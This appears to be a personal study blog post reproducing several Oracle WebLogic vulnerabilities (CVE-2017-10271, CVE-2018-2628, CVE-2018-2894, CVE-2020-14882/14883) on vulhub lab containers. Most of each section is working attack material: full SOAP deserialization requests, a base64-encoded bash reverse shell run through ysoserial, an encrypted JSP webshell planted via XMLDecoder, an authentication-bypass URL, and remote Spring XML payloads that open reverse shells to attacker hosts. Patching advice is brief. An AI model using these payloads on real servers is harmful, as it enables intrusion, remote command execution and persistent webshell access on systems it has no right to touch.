#Disclaimer:
This is a personal note, which is only for learning. It is prohibited to use it for any illegal act. Any illegal act has nothing to do with me.
Weblogic XMLDecoder Deserialization Vulnerability (CVE-2017-10271)
Vulnerability Overview
-
Vulnerability No.: CVE-2017-10271
-
Vulnerability impact: wls wsat XMLDecoder deserialization vulnerability
-
Impact degree: significant
-
Affected versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
-
Vulnerability url:
/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11
Vulnerability principle
The WLS Security component of Weblogic provides web service services externally, in which XMLDecoder is used to parse the XML data passed in by the user. A deserialization vulnerability occurs during the parsing process, resulting in the execution of arbitrary commands.
Vulnerability recurrence
Environment construction
Use vulhub/weblogic/CVE-2017-10271
vulhubRange building tutorial
docker-compose build docker-compose up -d
After starting the image, visit http:/xxxx:7001/to see a 404 page, which indicates that weblogic has been successfully started.
Recurrence
Take advantage of the above vulnerability url to try to access
http://192.168.0.20:7001/wls-wsat/CoordinatorPortType
If the following page appears, it indicates that XMLDecoder deserialization vulnerability exists;
Use the existing poc to rebound the shell
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
Modify the poc message after using the bp packet capture, set the monitoring by the nc, and bounce back to the shell after successful transmission
Next, you can try to write a file to see if it can be parsed:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
The file path is/bea_wls_internal/test.jsp, visit:
You can see that the parsing is successful, and then try to upload a webshell (the jsp horse provided by Icescorpion is used here):
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
Use Ice Scorpion to try to connect:
Verify with existing tools:
https://github.com/awsassets/weblogic_exploit/
https://github.com/shack2/javaserializetools/releases/tag/1.0.20190828
Bug fix
1. Install the patch
2. Or delete the wls wsat component
Weblogic WLS Core Components Deserialization Command Execution Vulnerability (CVE-2018-2628)
Vulnerability Overview
-
Vulnerability No.: CVE-2018-2628
-
Vulnerability impact: Weblogic WLS Core Components deserialization command execution vulnerability
-
Impact degree: significant
-
Version affected: 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
Vulnerability principle
RMI communication in Weblogic Server uses T3 protocol to transfer data between Weblogic Server and other Java programs (clients or other Weblogic Server instances). The server instance tracks each Java virtual machine (JVM) connected to the application, and creates a T3 protocol communication connection to transfer traffic to the Java virtual machine The T3 protocol is enabled by default for applications that open WebLogic console ports
The attacker uses other rmis to bypass the weblogic blacklist restrictions, and then uses readObject to parse the loaded content, thus causing the vulnerability of deserialized remote code execution. The vulnerability is mainly triggered by the T3 service. All open weblogic console port 7001 will enable T3 service by default. The attacker can obtain the permissions of the target server by sending the constructed T3 protocol data.
Vulnerability recurrence
Environment construction
Use vulhub/weblogic/CVE-2018-2628
vulhubRange building tutorial
docker-compose build docker-compose up -d
After starting the image, visit http:/xxxx:7001/to see a 404 page, which indicates that weblogic has been successfully started.
The vulnerability environment uses the vulhub shooting range environment: 192.168.0.20,
Attackers and JRMP servers: 192.168.0.11,
shell rebound machine: 192.168.0.10
Recurrence
Here we need to deploy a JRMP service (the T3 service of weblogic will unpack the Object structure, and then request the code encapsulated by the JRMP service step by step in the process of unpacking, which will be executed locally, leading to remote code execution.), Use it to generate payload s.
ysoseria:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [JRMPPort] CommonsCollections1 [command]
#'[JRMPPort] the listening port of the JRMP service. [command] indicates the command to execute'
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
# The pipe characters bounced by the shell cannot be recognized in java. You need to base64 encode 'bash - i>&/dev/tcp/IP/Port 0>&1' before using it
Perform POC vulnerability verification first:
poc:
https://github.com/zhzyker/exphub/tree/master/weblogic
Start listening to the JRMP service (preferably on linux):
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'whoami'
Use JRMP service to generate a payload:
# Generate payload java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient2 192.168.0.11:1099 | xxd -p | tr -d $'\n' && echo
Modify the payload in the poc (you can run the verification directly without modifying it. This is just for the convenience of demonstrating the JRMP service)
Run poc script:
python2 cve-2018-2628_poc.py 192.168.0.20 7001
It can be seen that there are indeed loopholes:
Next, try to use exp:
Start JRMP service:
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}'
exploit is used to attack weblogic:
exploit.py
https://www.exploit-db.com/exploits/44553
python exploit.py 192.168.0.20 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.10 1099 JRMPClient2
You can see the successful rebound to the shell:
Then try to write webshell to realize remote RCE:
https://github.com/zhzyker/exphub/blob/master/weblogic/cve-2018-2628_webshell.py
python cve-2018-2628_webshell.py 192.168.0.20 7001 shell1.jsp
http://192.168.0.20:7001/bea_wls_internal/shell1.jsp?tom=d2hvYW1pCg==
D2hvYW1pCg==base64 decoding: whoami
aWQ= —>id
tom is followed by the execution command
Verify with existing tools:
https://github.com/awsassets/weblogic_exploit/
Bug fix
1. Filter the t3 protocol.
In the domain structure, click Security ->Filter to connect to the filter. Fill in: weblogic. security. net Restart Weblogic after saving ConnectionFilterImpl
2. Install the patch.
Weblogic Arbitrary File Upload Vulnerability (CVE-2018-2894)
Vulnerability Overview
-
Vulnerability No.: CVE-2018-2894
-
Vulnerability impact: arbitrary file upload
-
Impact degree: significant
-
Version affected: 10.3.6, 12.1.3, 12.2.4, 12.2.1.3
-
Vulnerability url: http://your-ip:7001/ws_utc/config.do
Vulnerability principle
Two unauthorized pages on the WebLogic management end have a random upload getshell vulnerability. An attacker can access this configuration page, replace the file directory where JKS Keystores are stored with a valid WebLogic Web path, and then upload malicious JSP script Trojan files. The two pages are/ws_utc/begin.do，/ws_utc/config.do； The Web Service Test Page is not enabled by default in the 'production mode', so this vulnerability has certain limitations.
Vulnerability recurrence
Environment construction
Use vulhub/weblogic/CVE-2018-2894
vulhubRange building tutorial
docker-compose build docker-compose up -d
After starting the environment, access http://your-ip:7001/console , you can see the background login page:
Then execute the command to view the administrator password. The administrator username is weblogic:
docker-compose logs | grep password
Log in to the background page and click base_ For domain configuration, open the "Enable Web Service Test Page" option in "Advanced":
Recurrence
Visit Vulnerability Page http://your-ip:7001/ws_utc/config.do (You need to manually set the Work Home Dir as/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com. oracle. webservices. wls. ws testclient app wls/4mcj4y/war/css)
Then you can upload the webshell, click Security to upload the jsp suffix webshell (the uploaded jsp horse is Icescorpion's)
After uploading, you can see:
Try to access the file address (the path is the address set above) http://you-ip/ws_utc/css/config/keystore/ [Timestamp]_ [filename]
The timestamp can be found in the web page source code, or you can view the uploaded return datagram through bp packet capture:
After accessing, we can see that the response status is 200, and the resolution is successful:
Then use the Ice Scorpion to connect:
Successful getshell:
Verify with existing tools:
https://github.com/awsassets/weblogic_exploit/
Note that the address displayed after the tool successfully exploits the vulnerability is not the actual upload address of the file. The address is still the path set previously:
Bug fix
Start the production mode and edit setDomainEnv under the domain path Cmd file, set PRODUCTION_MODE=change to set PRODUCTION_MODE=true At present (2019/06/07), the two places where files are uploaded have been canceled in the production mode.
Weblogic Pre Auth remote command execution (CVE-2020-14882, CVE-2020-14883)
Vulnerability Overview
-
Vulnerability No.: cve-2020-14882, cve-2020-14883
-
Vulnerability impact: code execution, permission bypass
-
Impact degree: significant
-
Affected versions: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Vulnerability principle
CVE-2020-14882 allows remote users to bypass authentication in the administrator console component, and CVE-2020-14883 allows authenticated users to execute any command on the administrator console component. Using these two vulnerability chains, unauthenticated remote attackers can execute arbitrary commands on the Oracle WebLogic server via HTTP and take full control of the host.
Vulnerability recurrence
Environment construction
Use vulhub/weblogic/cve-2020-14882
vulhubRange building tutorial
docker-compose build docker-compose up -d
After startup, access http://your-ip:7001/console To view the administrator console login page:
Recurrence
Use the poc to bypass the authentication of the console component:
/console/css/%252e%252e%252fconsole.portal
You can see that you can directly access the management background without logging in. However, this is a low privilege user, and cannot install applications, execute arbitrary code, or upload webshell s.
CVE-2020-14883 can take over the WebLogic Server Console without authentication and execute arbitrary code in the WebLogic Server Console by constructing a special HTTP request. There are two ways to exploit this vulnerability.
The first method: com.tangosol.coherence.mvel2.sh.ShellSession The second method: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
The first method is only applicable to Weblogic 12.2.1 and above, because there is no class com.tangosol.coherence.mvl2.sh.ShellSession in 10.3.6
The second method is a more kill through method. It was first introduced in CVE-2019-2725 and can be used in any Weblogic version. However, the disadvantage of this method is that it requires the Weblogic server to access malicious XML.
http://192.168.0.20:7001/console/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage
You can see that the execution is successful and the success1 file has been created.
Then try to access the server's xml file. Remote rce:
Use python to start a simple http service. Open the terminal on the desktop and enter the following command (my ip address is 192.168.0.11):
python3 -m http.server 80
Then create a rce.xml on the desktop and write it to:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans
First, check whether touch/tmp/successs2 can be successfully executed. By accessing the following links, introduce malicious xml and execute commands:
http://192.168.0.20:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.0.11/rce.xml%22)
You can see that you have successfully accessed the xml file on the server and executed the command. Next, try to execute the command to bounce the shell and modify the xml file:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.0.10/4444 0>&1]]></value> </list> </constructor-arg> </bean> </beans
First open the corresponding port for nc listening, then visit the following link again, introduce malicious xml, and execute the command:
http://192.168.0.20:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.0.11/rce.xml%22)
Successfully rce and bounce back to the shell.
Verify with existing tools:
https://github.com/GGyao/CVE-2020-14882_ALL
python3 CVE-2020-14882_ALL.py -u http://192.168.0.20:7001 -c "whoami"
You can also use it to bounce the shell, which is not demonstrated here.
Bug fix
Install the official patch and upgrade the new version.
Weblogic ssrf(CVE-2014-4210)
Please refer to the following link to an article on the replication of ssrf vulnerabilities written by myself:
summary
This article mainly combines the existing vulnerabilities on the vulhub shooting range to learn some of the vulnerabilities in the weblogic series. There are still many vulnerabilities that have not been repeated. The main thing is to get familiar with the principles of typical vulnerabilities.
Reference connection: